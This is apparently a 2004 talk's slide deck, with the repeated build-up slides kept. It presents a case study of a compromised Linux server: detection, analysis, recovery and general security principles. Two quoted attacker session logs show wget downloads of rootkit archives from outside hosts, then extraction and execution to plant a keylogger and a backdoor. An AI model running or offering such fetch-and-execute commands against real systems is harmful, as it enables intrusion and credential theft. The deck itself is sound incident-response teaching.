Security and the Internet

Matthew Palmer

mpalmer@hezmatt.org

http://www.hezmatt.org/~mpalmer/talks/2004/security-slug

Overview

Overview

- System Compromise: A Case Study

Overview

- System Compromise: A Case Study
- Common Security Principles

Overview

- System Compromise: A Case Study
- Common Security Principles
- Lesser-known security tricks

Overview

- System Compromise: A Case Study
- Common Security Principles
- Lesser-known security tricks
- Discussion

Anatomy of an Intrusion

Anatomy of an Intrusion

- A Stimulating Discovery

Anatomy of an Intrusion

- A Stimulating Discovery
- A Shocking Discovery

Anatomy of an Intrusion

- A Stimulating Discovery
- A Shocking Discovery
- Analysis

Anatomy of an Intrusion

- A Stimulating Discovery
- A Shocking Discovery
- Analysis
- Cleanup

Initial Discovery

- An accidentally live account was used to gain shell access to the machine.
- A keylogger was installed using a kernel vulnerability as follows:

```
wget memphis.freehttp.com/beep.tgz
tar -zxvf beep.tgz
chmod +x beep
./beep
/usr/share/locale/sk/.sk12/sk
rm -rf beep
ls
rm -rf beep.tgz brk  ptrace zbind zero
ls
```

Reaction

- Account was immediately deactivated, and an examination made of any similar accounts.

Reaction

- Account was immediately deactivated, and an examination made of any similar accounts.
- **Good Point:** The initial unauthorised login *was* detected.

Reaction

- Account was immediately deactivated, and an examination made of any similar accounts.
- **Good Point:** The initial unauthorised login *was* detected.
- **Fatal Mistake:** No examination was made for the keylogger which eventually provided the attacker with passwords.

A Shocking Discovery

About two weeks after the initial discovery...

A Shocking Discovery

About two weeks after the initial discovery...

- I logged into the server to do some routine maintenance, and noticed that the "Last login" information was weird.

A Shocking Discovery

About two weeks after the initial discovery...

- I logged into the server to do some routine maintenance, and noticed that the "Last login" information was weird.
- A quick check through lastlog gave several more odd logins.

A Shocking Discovery

About two weeks after the initial discovery...

- I logged into the server to do some routine maintenance, and noticed that the "Last login" information was weird.
- A quick check through lastlog gave several more odd logins.
- I port-scanned the machine, with differing results to netstat.

A Shocking Discovery

About two weeks after the initial discovery...

- I logged into the server to do some routine maintenance, and noticed that the "Last login" information was weird.
- A quick check through lastlog gave several more odd logins.
- I port-scanned the machine, with differing results to netstat.
- ls printed an LS_COLORS related error message. Checking likely binaries – ls, netstat, lsof, ps – showed that they had all been modified.

A Shocking Discovery

About two weeks after the initial discovery...

- I logged into the server to do some routine maintenance, and noticed that the "Last login" information was weird.
- A quick check through lastlog gave several more odd logins.
- I port-scanned the machine, with differing results to netstat.
- ls printed an LS_COLORS related error message. Checking likely binaries – ls, netstat, lsof, ps – showed that they had all been modified.
- Syslog kept walling me every 20 minutes with the hostname of the machine. I presume this was some sort of ’keep-alive’ sent from the compromise, but I can’t work out what benefit it would have.

Further discoveries

Further discoveries

- All trojaned binaries in this rootkit were owned by 500:500, making them easy to find.

Further discoveries

- All trojaned binaries in this rootkit were owned by 500:500, making them easy to find.
- A network scanner and keystroke logger were installed, dropping their logs in a hidden directory. Other files were scattered across the filesystem like bird shit.

Further discoveries

- All trojaned binaries in this rootkit were owned by 500:500, making them easy to find.
- A network scanner and keystroke logger were installed, dropping their logs in a hidden directory. Other files were scattered across the filesystem like bird shit.
- The machine had been comprehensively 0wnz0r3d.

Analysis of the Intrusion

- The keylogger initially installed provided the attacker with passwords of users and host information. As an example of what was captured:

```
mpalmer@machine’s password: examplepass
ssh othermachine :
The authenticity of host ’othermachine (10.0.0.254)’
RSA key fingerprint is 04:c0:7a:cf:c0:20:c1:6e:68:e2
Are you sure you want to continue connecting (yes/no
added ’othermachine,10.0.0.254’ (RSA) to the list of
mpalmer@othermachine’s password: examplepass
```

- Yes, I was using the same passwords on multiple machines. Bad monkey.

Analysis (ctd)

Once the attacker had another username and a password, they came back in, and installed another, more comprehensive, rootkit, with a backdoor.

```
id
wget www.naturalul.home.ro/cd.tgz
tar -zxvf cd.tgz
rm -rf cd.tgz
cd cd
cd setup
cat setup
./setup rimaru 2285
ls
cd ..
pwd
```

I got a copy of this one.

Damage Done

Apart from a severely deflated ego, and a lot of lost time, the attackers did nothing particularly damaging. The first rootkit does appear to help here, as it records what the attacker did after `.bash_history` cut out.

The generally amateur nature of the attack suggests that it was a script kiddie out to capture another machine. Luckily.

Recovery – summary

Recovery – summary

- Prevent continued intrusion and information leakage

Recovery – summary

- Prevent continued intrusion and information leakage
- Clean the machine of trojaned binaries to allow analysis

Recovery – summary

- Prevent continued intrusion and information leakage
- Clean the machine of trojaned binaries to allow analysis
- Get copies of as much of the machine as possible

Recovery – summary

- Prevent continued intrusion and information leakage
- Clean the machine of trojaned binaries to allow analysis
- Get copies of as much of the machine as possible
- Reinstall the machine from safe media

Recovery – summary

- Prevent continued intrusion and information leakage
- Clean the machine of trojaned binaries to allow analysis
- Get copies of as much of the machine as possible
- Reinstall the machine from safe media
- Reload operational data from known backups or hand-verified copies.

Recovery – summary

- Prevent continued intrusion and information leakage
- Clean the machine of trojaned binaries to allow analysis
- Get copies of as much of the machine as possible
- Reinstall the machine from safe media
- Reload operational data from known backups or hand-verified copies.

Complication: As much as possible, the machine had to stay active processing mail and serving web pages, as the company was relying on this machine for business operations.

Recovery: Prevent Reintrusion

Recovery: Prevent Reintrusion

- Lock down firewall to absolute maximum – if the users aren’t squealing, it’s not tight enough.

Recovery: Prevent Reintrusion

- Lock down firewall to absolute maximum – if the users aren’t squealing, it’s not tight enough.
- Change passwords of affected accounts.

Recovery: Prevent Reintrusion

- Lock down firewall to absolute maximum – if the users aren’t squealing, it’s not tight enough.
- Change passwords of affected accounts.
- Kill off obvious low-hanging fruit.

Recovery: Prevent Reintrusion

- Lock down firewall to absolute maximum – if the users aren’t squealing, it’s not tight enough.
- Change passwords of affected accounts.
- Kill off obvious low-hanging fruit.
- Replace trojaned binaries (particularly lsof, netstat) so I had a half-chance to find the processes of the backdoors.

Recovery: Prevent Reintrusion

- Lock down firewall to absolute maximum – if the users aren’t squealing, it’s not tight enough.
- Change passwords of affected accounts.
- Kill off obvious low-hanging fruit.
- Replace trojaned binaries (particularly lsof, netstat) so I had a half-chance to find the processes of the backdoors.
- Use remote nmap to find what is actually listening on the machine, as netstat output can be fooled by a patched kernel.

Recovery: Clean Binaries

Recovery: Clean Binaries

- Dig through the list of changed files, find the packages they belong to, and reinstall the packages from CD

Recovery: Clean Binaries

- Dig through the list of changed files, find the packages they belong to, and reinstall the packages from CD
- Not a perfect method, as tricky crackers can re-trojan as you reinstall, but my suspicion was that this wasn’t a tricky cracker

Recovery: Clean Binaries

- Dig through the list of changed files, find the packages they belong to, and reinstall the packages from CD
- Not a perfect method, as tricky crackers can re-trojan as you reinstall, but my suspicion was that this wasn't a tricky cracker
- **Caveat:** To prevent replacement, the cracker had changed the attributes on the modified files. `chattr` comes in handy.

Recovery: Make a copy

Why? To allow further analysis at leisure, and restoration of operational data if needed.

Recovery: Make a copy

Why? To allow further analysis at leisure, and restoration of operational data if needed.

- Reboot with a proven-clean kernel (Debian rescue disk in this case)

Recovery: Make a copy

Why? To allow further analysis at leisure, and restoration of operational data if needed.

- Reboot with a proven-clean kernel (Debian rescue disk in this case)
- Mount a scratch partition or disk

Recovery: Make a copy

Why? To allow further analysis at leisure, and restoration of operational data if needed.

- Reboot with a proven-clean kernel (Debian rescue disk in this case)
- Mount a scratch partition or disk
- Make complete tarball/image of the existing system

Recovery: Make a copy

Why? To allow further analysis at leisure, and restoration of operational data if needed.

- Reboot with a proven-clean kernel (Debian rescue disk in this case)
- Mount a scratch partition or disk
- Make complete tarball/image of the existing system
- Copy tarball or image to another system, burn to CD

Recovery: Reinstallation

Recovery: Reinstallation

- Once we’re out of business hours, it’s time to take the machine down and go to town on it.

Recovery: Reinstallation

- Once we’re out of business hours, it’s time to take the machine down and go to town on it.
- Get the package selection from `dpkg --get-selections`

Recovery: Reinstallation

- Once we’re out of business hours, it’s time to take the machine down and go to town on it.
- Get the package selection from `dpkg --get-selections`
- Drop the woody 1 CD in and go nuts

Recovery: Reinstallation

- Once we’re out of business hours, it’s time to take the machine down and go to town on it.
- Get the package selection from `dpkg --get-selections`
- Drop the woody 1 CD in and go nuts
- Once base system is back on, `dpkg --set-selections` and `apt-get dselect-upgrade`.

Recovery: Reinstallation

- Once we’re out of business hours, it’s time to take the machine down and go to town on it.
- Get the package selection from `dpkg --get-selections`
- Drop the woody 1 CD in and go nuts
- Once base system is back on, `dpkg --set-selections` and `apt-get dselect-upgrade`.
- Go through system services, bringing it all back up with data and config hand-verified.

Principles of Security

Principles of Security

- Least Privilege

Principles of Security

- Least Privilege
- Repurpose by Reinstall

Principles of Security

- Least Privilege
- Repurpose by Reinstall
- Passwords are Bad

Principles of Security

- Least Privilege
- Repurpose by Reinstall
- Passwords are Bad
- Good Logging is Your Friend

Principles of Security

- Least Privilege
- Repurpose by Reinstall
- Passwords are Bad
- Good Logging is Your Friend
- Keep on patchin’

Principles of Security

- Least Privilege
- Repurpose by Reinstall
- Passwords are Bad
- Good Logging is Your Friend
- Keep on patchin’
- Good Firewalling Is Like An Onion

Lesser-known tricks

Lesser-known tricks

- Transparent firewalls

Lesser-known tricks

- Transparent firewalls
- Doo doo, doo doooo doo-doo doo... (tunnels)

Lesser-known tricks

- Transparent firewalls
- Doo doo, doo doooo doo-doo doo... (tunnels)
- Automounting USB keys

Discussion

I invite everyone to share their security ideas.